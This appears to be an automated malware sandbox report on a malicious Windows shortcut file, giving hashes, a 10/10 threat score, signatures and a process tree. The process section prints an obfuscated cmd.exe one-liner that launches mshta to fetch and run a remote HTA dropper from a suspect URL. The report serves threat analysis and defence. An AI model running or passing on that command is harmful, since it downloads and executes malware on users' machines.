Analysis
- max time kernel
148s - max time network
134s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:25
Static task
static1
Behavioral task
behavioral1
Sample
DOC-7GT03N.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-7GT03N.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-7GT03N.lnk
- Size 1KB
- Sample260804-kbmbcaar9y
- SHA256 fc7392e130aabeca5dfeb66467b752001626605519f032947ca2e0adc1384df8
- MD5 b420edf708f357f22b51d89d6cb3d5d5
- SHA1 8d5d507916f2d3dfa7ff6393b9d13a1a27e051d1
- SHA512 3f3b5301ba27fe3db64596efc23900d409bdd615ed8c22f00f30f8d154e3337b66e6962d7eee6cd92b0a97e967af0d883cc811e1df4ba2c1f2988d061796bc06
- TLSH T1413197002FFC0624F3F38F7684BB57248ABBB9668E20CA2E0041490C5072A15E17BF77
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5992 cmd.exe 2912 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 5992 wrote to memory of 2912 5992 cmd.exe 90 PID 2912 wrote to memory of 4624 2912 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-7GT03N.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5992 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /c "set qFut=msh&&set NUPn=ta&&start "" !qFut!!NUPn! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2912 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:4624
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